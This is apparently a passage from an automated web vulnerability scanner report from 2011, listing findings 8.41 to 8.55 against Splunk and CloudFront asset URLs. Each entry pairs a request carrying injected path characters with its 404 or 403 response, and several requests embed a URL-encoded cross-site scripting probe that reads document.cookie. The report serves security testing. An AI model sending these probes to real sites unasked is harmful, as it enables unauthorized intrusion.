Severity:	Medium
Confidence:	Tentative
Host:	http://coverall.splunk.com
Path:	/web_assets/v5/homepage/homepage.hero.css

Issue detail

Request

GET /web_assets/v5/homepage/homepage.hero.css]]>> HTTP/1.1
Host: coverall.splunk.com
Proxy-Connection: keep-alive
Referer: http://www.splunk.com/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: XARAYASID=1mtgfd73mkm07svvqv720eu567; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); __utma=204527314.226449434.1296942566.1296942566.1296942566.1; __utmb=204527314.1.10.1296942566; Apache=173.193.214.243.1296942930878168

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 345
Date: Sat, 05 Feb 2011 22:50:07 GMT
Server: lighttpd/1.4.22

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.41. http://coverall.splunk.com/web_assets/v5/homepage/homepage.hero.js [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://coverall.splunk.com
Path:	/web_assets/v5/homepage/homepage.hero.js

Issue detail

Request

GET /web_assets]]>>/v5/homepage/homepage.hero.js HTTP/1.1
Host: coverall.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942985.2.2.utmcsr=splunkbase.splunk.com|utmccn=(referral)|utmcmd=referral|utmcct=/; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942985.2; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942985; __kts=1296942984820,http%3A%2F%2Fwww.splunk.com%2F,http%3A%2F%2Fsplunkbase.splunk.com%2F%3F1ffc5%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E46cc332d1dc%3D1; __ktt=e7f-7c3a-23d7-b39612df7d36e75;

Response

8.42. http://coverall.splunk.com/web_assets/v5/homepage/homepage.hero.js [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://coverall.splunk.com
Path:	/web_assets/v5/homepage/homepage.hero.js

Issue detail

Request

GET /web_assets/v5]]>>/homepage/homepage.hero.js HTTP/1.1
Host: coverall.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942985.2.2.utmcsr=splunkbase.splunk.com|utmccn=(referral)|utmcmd=referral|utmcct=/; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942985.2; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942985; __kts=1296942984820,http%3A%2F%2Fwww.splunk.com%2F,http%3A%2F%2Fsplunkbase.splunk.com%2F%3F1ffc5%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E46cc332d1dc%3D1; __ktt=e7f-7c3a-23d7-b39612df7d36e75;

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 345
Connection: close
Date: Sat, 05 Feb 2011 22:48:22 GMT
Server: lighttpd/1.4.22

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.43. http://coverall.splunk.com/web_assets/v5/homepage/homepage.hero.js [REST URL parameter 3] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://coverall.splunk.com
Path:	/web_assets/v5/homepage/homepage.hero.js

Issue detail

Request

GET /web_assets/v5/homepage]]>>/homepage.hero.js HTTP/1.1
Host: coverall.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942985.2.2.utmcsr=splunkbase.splunk.com|utmccn=(referral)|utmcmd=referral|utmcct=/; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942985.2; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942985; __kts=1296942984820,http%3A%2F%2Fwww.splunk.com%2F,http%3A%2F%2Fsplunkbase.splunk.com%2F%3F1ffc5%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E46cc332d1dc%3D1; __ktt=e7f-7c3a-23d7-b39612df7d36e75;

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 345
Connection: close
Date: Sat, 05 Feb 2011 22:48:24 GMT
Server: lighttpd/1.4.22

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.44. http://coverall.splunk.com/web_assets/v5/homepage/homepage.hero.js [REST URL parameter 4] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://coverall.splunk.com
Path:	/web_assets/v5/homepage/homepage.hero.js

Issue detail

Request

GET /web_assets/v5/homepage/homepage.hero.js]]>> HTTP/1.1
Host: coverall.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942985.2.2.utmcsr=splunkbase.splunk.com|utmccn=(referral)|utmcmd=referral|utmcct=/; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942985.2; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942985; __kts=1296942984820,http%3A%2F%2Fwww.splunk.com%2F,http%3A%2F%2Fsplunkbase.splunk.com%2F%3F1ffc5%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E46cc332d1dc%3D1; __ktt=e7f-7c3a-23d7-b39612df7d36e75;

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Content-Length: 345
Connection: close
Date: Sat, 05 Feb 2011 22:48:26 GMT
Server: lighttpd/1.4.22

<?xml version="1.0" encoding="iso-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w
...[SNIP]...

8.45. http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/css/frontpage.css [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://d3g75t6gdfoqd0.cloudfront.net
Path:	/version/7.01/css/frontpage.css

Issue detail

Request

GET /version]]>>/7.01/css/frontpage.css?redownloadToken=7.01 HTTP/1.1
Host: d3g75t6gdfoqd0.cloudfront.net
Proxy-Connection: keep-alive
Referer: http://www.yasni.de/?46fac%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee05d79885fa=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 403 Forbidden
x-amz-request-id: AAAF04573736906E
x-amz-id-2: 3wHH08FU5AkdP2CmoXl8hSPvEr/EQPi1IT/xqg/IaBmZQXiOI5GDvJh1j4/tVMhD
Content-Type: application/xml
Date: Sun, 06 Feb 2011 18:26:51 GMT
Server: AmazonS3
Age: 1
Content-Length: 231
X-Cache: Error from cloudfront
X-Amz-Cf-Id: da599ffb0037f80a27f994d8f52aca950a0341d348d6a3b37bb86eb6cf251047d5f506b0b0131531
Via: 1.0 f3f50cbd3d1def6bce4a308bcfd00161.cloudfront.net:11180 (CloudFront), 1.0 892bc90fb3654cd9a2c91531db2d359d.cloudfront.net:11180 (CloudFront)
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>AAAF04573736906E</RequestId><HostId>3wHH08FU5AkdP2CmoXl8hSPvEr/EQPi1IT/xqg/IaBmZQXiOI5
...[SNIP]...

8.46. http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/css/frontpage.css [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://d3g75t6gdfoqd0.cloudfront.net
Path:	/version/7.01/css/frontpage.css

Issue detail

Request

GET /version/7.01]]>>/css/frontpage.css?redownloadToken=7.01 HTTP/1.1
Host: d3g75t6gdfoqd0.cloudfront.net
Proxy-Connection: keep-alive
Referer: http://www.yasni.de/?46fac%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee05d79885fa=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 403 Forbidden
x-amz-request-id: 5C50196A8673C962
x-amz-id-2: T3T9xUVPiMHTVu1b+nKMTo9uINMCRxC8ZkQXNtpEIUhyQ3n4CYaZT4AJlRkztWgD
Content-Type: application/xml
Date: Sun, 06 Feb 2011 18:26:52 GMT
Server: AmazonS3
Age: 1
Content-Length: 231
X-Cache: Error from cloudfront
X-Amz-Cf-Id: 950586c2a43193764c4be67b32edc8d1c36f4d8549fb5eab7aa08eed884d7164c079225013b0bae5
Via: 1.0 f3f50cbd3d1def6bce4a308bcfd00161.cloudfront.net:11180 (CloudFront), 1.0 892bc90fb3654cd9a2c91531db2d359d.cloudfront.net:11180 (CloudFront)
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>5C50196A8673C962</RequestId><HostId>T3T9xUVPiMHTVu1b+nKMTo9uINMCRxC8ZkQXNtpEIUhyQ3n4CY
...[SNIP]...

8.47. http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/css/frontpage.css [REST URL parameter 3] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://d3g75t6gdfoqd0.cloudfront.net
Path:	/version/7.01/css/frontpage.css

Issue detail

Request

GET /version/7.01/css]]>>/frontpage.css?redownloadToken=7.01 HTTP/1.1
Host: d3g75t6gdfoqd0.cloudfront.net
Proxy-Connection: keep-alive
Referer: http://www.yasni.de/?46fac%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee05d79885fa=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 403 Forbidden
x-amz-request-id: 59032A3F4E116921
x-amz-id-2: 6CUBebh8fpRBVUbqKw3HIs844azf3USn8CIRb9Wz4sOjW++3F+Y7M+0+N44vh7gD
Content-Type: application/xml
Date: Sun, 06 Feb 2011 18:26:54 GMT
Server: AmazonS3
Age: 1
Content-Length: 231
X-Cache: Error from cloudfront
X-Amz-Cf-Id: 56b1af0b1c7386fad590fc62afdf8c3a72d69dc91286b9bfb1f62984b06539841e8326ff4e62af41
Via: 1.0 45b715302bfca21de6f1c839f7f026a7.cloudfront.net:11180 (CloudFront), 1.0 892bc90fb3654cd9a2c91531db2d359d.cloudfront.net:11180 (CloudFront)
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>59032A3F4E116921</RequestId><HostId>6CUBebh8fpRBVUbqKw3HIs844azf3USn8CIRb9Wz4sOjW++3F+
...[SNIP]...

8.48. http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/css/frontpage.css [REST URL parameter 4] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://d3g75t6gdfoqd0.cloudfront.net
Path:	/version/7.01/css/frontpage.css

Issue detail

Request

GET /version/7.01/css/frontpage.css]]>>?redownloadToken=7.01 HTTP/1.1
Host: d3g75t6gdfoqd0.cloudfront.net
Proxy-Connection: keep-alive
Referer: http://www.yasni.de/?46fac%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee05d79885fa=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 403 Forbidden
x-amz-request-id: 7622AF18EB8B6987
x-amz-id-2: WtIMCB4yCYxTrNbn+qHwBrxnu/HuXK9uHb2RF9e7mtJyNDmiQGZT/eyd8qmxySdj
Content-Type: application/xml
Date: Sun, 06 Feb 2011 18:26:56 GMT
Server: AmazonS3
Age: 1
Content-Length: 231
X-Cache: Error from cloudfront
X-Amz-Cf-Id: 0f789073f18b6942466b97ce62c32599b32903904554eea2b0a5cb428922a4ab911144365cacff1c
Via: 1.0 f3f50cbd3d1def6bce4a308bcfd00161.cloudfront.net:11180 (CloudFront), 1.0 892bc90fb3654cd9a2c91531db2d359d.cloudfront.net:11180 (CloudFront)
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>7622AF18EB8B6987</RequestId><HostId>WtIMCB4yCYxTrNbn+qHwBrxnu/HuXK9uHb2RF9e7mtJyNDmiQG
...[SNIP]...

8.49. http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/css/main.css [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://d3g75t6gdfoqd0.cloudfront.net
Path:	/version/7.01/css/main.css

Issue detail

Request

GET /version]]>>/7.01/css/main.css?redownloadToken=7.01 HTTP/1.1
Host: d3g75t6gdfoqd0.cloudfront.net
Proxy-Connection: keep-alive
Referer: http://www.yasni.de/?46fac%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee05d79885fa=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 403 Forbidden
x-amz-request-id: DAD7D3F9FF04B35B
x-amz-id-2: aNMHpCMkrdFvfb1EcKuipWdzFcl6Jadt965MPMa5vy7WXFqnR67a9iCvzA4BEHBo
Content-Type: application/xml
Date: Sun, 06 Feb 2011 18:26:54 GMT
Server: AmazonS3
Age: 1
Content-Length: 231
X-Cache: Error from cloudfront
X-Amz-Cf-Id: 3cc5c412b15b4006a80e575e47656ecf70a98c2549cc2736b0ab176d41ed5a021cbcf6a9fd453616
Via: 1.0 389a96c30b7b40b8998a142737da95e1.cloudfront.net:11180 (CloudFront), 1.0 892bc90fb3654cd9a2c91531db2d359d.cloudfront.net:11180 (CloudFront)
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>DAD7D3F9FF04B35B</RequestId><HostId>aNMHpCMkrdFvfb1EcKuipWdzFcl6Jadt965MPMa5vy7WXFqnR6
...[SNIP]...

8.50. http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/css/main.css [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://d3g75t6gdfoqd0.cloudfront.net
Path:	/version/7.01/css/main.css

Issue detail

Request

GET /version/7.01]]>>/css/main.css?redownloadToken=7.01 HTTP/1.1
Host: d3g75t6gdfoqd0.cloudfront.net
Proxy-Connection: keep-alive
Referer: http://www.yasni.de/?46fac%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee05d79885fa=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 403 Forbidden
x-amz-request-id: 26184BB5FA7BF1E8
x-amz-id-2: OJy7qrv2iBtZqRuyVwSLTKD83qXi3PqJstcFRifDWMNaKWF0ZIhkf2xvVTMaVgdp
Content-Type: application/xml
Date: Sun, 06 Feb 2011 18:26:56 GMT
Server: AmazonS3
Content-Length: 231
X-Cache: Error from cloudfront
X-Amz-Cf-Id: df923a159d54beb6a8190f3112f3e96ce87e9069e86f85bfa3447685108012fcc5ef64a1c3b07a03
Via: 1.0 b6a19ce57eb7f67ba86fc485bfe1effb.cloudfront.net:11180 (CloudFront), 1.0 892bc90fb3654cd9a2c91531db2d359d.cloudfront.net:11180 (CloudFront)
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>26184BB5FA7BF1E8</RequestId><HostId>OJy7qrv2iBtZqRuyVwSLTKD83qXi3PqJstcFRifDWMNaKWF0ZI
...[SNIP]...

8.51. http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/css/main.css [REST URL parameter 3] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://d3g75t6gdfoqd0.cloudfront.net
Path:	/version/7.01/css/main.css

Issue detail

Request

GET /version/7.01/css]]>>/main.css?redownloadToken=7.01 HTTP/1.1
Host: d3g75t6gdfoqd0.cloudfront.net
Proxy-Connection: keep-alive
Referer: http://www.yasni.de/?46fac%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee05d79885fa=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 403 Forbidden
x-amz-request-id: 3572E63DF847E4F2
x-amz-id-2: QfjsMNsV2eBUVpgSdlF0IktyXW39ZiqeEo0S/HgE+MCh7JvI3rU3Cd5h6Cqzgu1Z
Content-Type: application/xml
Date: Sun, 06 Feb 2011 18:26:58 GMT
Server: AmazonS3
Age: 1
Content-Length: 231
X-Cache: Error from cloudfront
X-Amz-Cf-Id: 587104ecf624c55e4c1421e213db10260ac2b9c8f97d0fb30c36e4acfcbbb3e79d0c389dc8dd80c9
Via: 1.0 389a96c30b7b40b8998a142737da95e1.cloudfront.net:11180 (CloudFront), 1.0 892bc90fb3654cd9a2c91531db2d359d.cloudfront.net:11180 (CloudFront)
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>3572E63DF847E4F2</RequestId><HostId>QfjsMNsV2eBUVpgSdlF0IktyXW39ZiqeEo0S/HgE+MCh7JvI3r
...[SNIP]...

8.52. http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/css/main.css [REST URL parameter 4] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://d3g75t6gdfoqd0.cloudfront.net
Path:	/version/7.01/css/main.css

Issue detail

Request

GET /version/7.01/css/main.css]]>>?redownloadToken=7.01 HTTP/1.1
Host: d3g75t6gdfoqd0.cloudfront.net
Proxy-Connection: keep-alive
Referer: http://www.yasni.de/?46fac%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee05d79885fa=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 403 Forbidden
x-amz-request-id: 52C537A0D6E73D4B
x-amz-id-2: 4bhnsYeqHgmdRgYjBHhjUiGiIG/Lq0tavKGstcIMaSWrBi1uq3PgZT9eHVlzL0Rp
Content-Type: application/xml
Date: Sun, 06 Feb 2011 18:27:01 GMT
Server: AmazonS3
Content-Length: 231
X-Cache: Error from cloudfront
X-Amz-Cf-Id: 32d39c3a2abe12310c9c22b8a4d6c689d4b84b8e76cf6bccf3ef16987a6f35fdebee361eebe17891
Via: 1.0 45b715302bfca21de6f1c839f7f026a7.cloudfront.net:11180 (CloudFront), 1.0 892bc90fb3654cd9a2c91531db2d359d.cloudfront.net:11180 (CloudFront)
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>52C537A0D6E73D4B</RequestId><HostId>4bhnsYeqHgmdRgYjBHhjUiGiIG/Lq0tavKGstcIMaSWrBi1uq3
...[SNIP]...

8.53. http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/favicon16.ico [REST URL parameter 1] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://d3g75t6gdfoqd0.cloudfront.net
Path:	/version/7.01/favicon16.ico

Issue detail

Request

GET /version]]>>/7.01/favicon16.ico HTTP/1.1
Host: d3g75t6gdfoqd0.cloudfront.net
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 403 Forbidden
x-amz-request-id: 8481DC0C05CB35C8
x-amz-id-2: Gr6GtSCmiLRcSm/+0gS7ZoPSXwt7NMISmrG8/nVwBaU/WTd+MFEUj9RDAfuf8DuQ
Content-Type: application/xml
Date: Sun, 06 Feb 2011 18:26:33 GMT
Server: AmazonS3
Age: 2
Content-Length: 231
X-Cache: Error from cloudfront
X-Amz-Cf-Id: 2b0644beb1cd54bac386738abb7c3892fdc10a7b2e6619ad572f0e3127ed83b4b6d9ade1b4d32927
Via: 1.0 f3f50cbd3d1def6bce4a308bcfd00161.cloudfront.net:11180 (CloudFront), 1.0 892bc90fb3654cd9a2c91531db2d359d.cloudfront.net:11180 (CloudFront)
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>8481DC0C05CB35C8</RequestId><HostId>Gr6GtSCmiLRcSm/+0gS7ZoPSXwt7NMISmrG8/nVwBaU/WTd+MF
...[SNIP]...

8.54. http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/favicon16.ico [REST URL parameter 2] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://d3g75t6gdfoqd0.cloudfront.net
Path:	/version/7.01/favicon16.ico

Issue detail

Request

GET /version/7.01]]>>/favicon16.ico HTTP/1.1
Host: d3g75t6gdfoqd0.cloudfront.net
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 403 Forbidden
x-amz-request-id: 1DAA44652200B3F3
x-amz-id-2: T7dZQvCJZZZoCqEcujFT6U4FWTx6z0+OI32EhvSNPEDAdrU+FohfLO4nWcmjst8G
Content-Type: application/xml
Date: Sun, 06 Feb 2011 18:26:37 GMT
Server: AmazonS3
Age: 1
Content-Length: 231
X-Cache: Error from cloudfront
X-Amz-Cf-Id: 8393095ec7e82dc1e1054e1ff50fc3dd17af3b9ace5719512e8b4bfbfb616ad57228b7ed6b0d6135
Via: 1.0 45b715302bfca21de6f1c839f7f026a7.cloudfront.net:11180 (CloudFront), 1.0 892bc90fb3654cd9a2c91531db2d359d.cloudfront.net:11180 (CloudFront)
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>1DAA44652200B3F3</RequestId><HostId>T7dZQvCJZZZoCqEcujFT6U4FWTx6z0+OI32EhvSNPEDAdrU+Fo
...[SNIP]...

8.55. http://d3g75t6gdfoqd0.cloudfront.net/version/7.01/favicon16.ico [REST URL parameter 3] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://d3g75t6gdfoqd0.cloudfront.net
Path:	/version/7.01/favicon16.ico

Issue detail

Request

GET /version/7.01/favicon16.ico]]>> HTTP/1.1
Host: d3g75t6gdfoqd0.cloudfront.net
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 403 Forbidden
x-amz-request-id: 60F3E159047630EA
x-amz-id-2: dPoY0FvBC17Ef8jdKJS+RdB3s9Vpz3epb4QZjxzyxWUPDTxY/3XsVxIPd0l3BoeO
Content-Type: application/xml
Date: Sun, 06 Feb 2011 18:26:40 GMT
Server: AmazonS3
Age: 1
Content-Length: 231
X-Cache: Error from cloudfront
X-Amz-Cf-Id: ffe1aba69733963df27b09afd291ffe4da4e19797b0d6043b2630d65ad7167271d89c61c1488da62
Via: 1.0 80e249fb010044bf276e2c86b81c99a1.cloudfront.net:11180 (CloudFront), 1.0 892bc90fb3654cd9a2c91531db2d359d.cloudfront.net:11180 (CloudFront)
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>60F3E159047630EA</RequestId><HostId>dPoY0FvBC17Ef8jdKJS+RdB3s9Vpz3epb4QZjxzyxWUPDTxY/3
...[SNIP]...

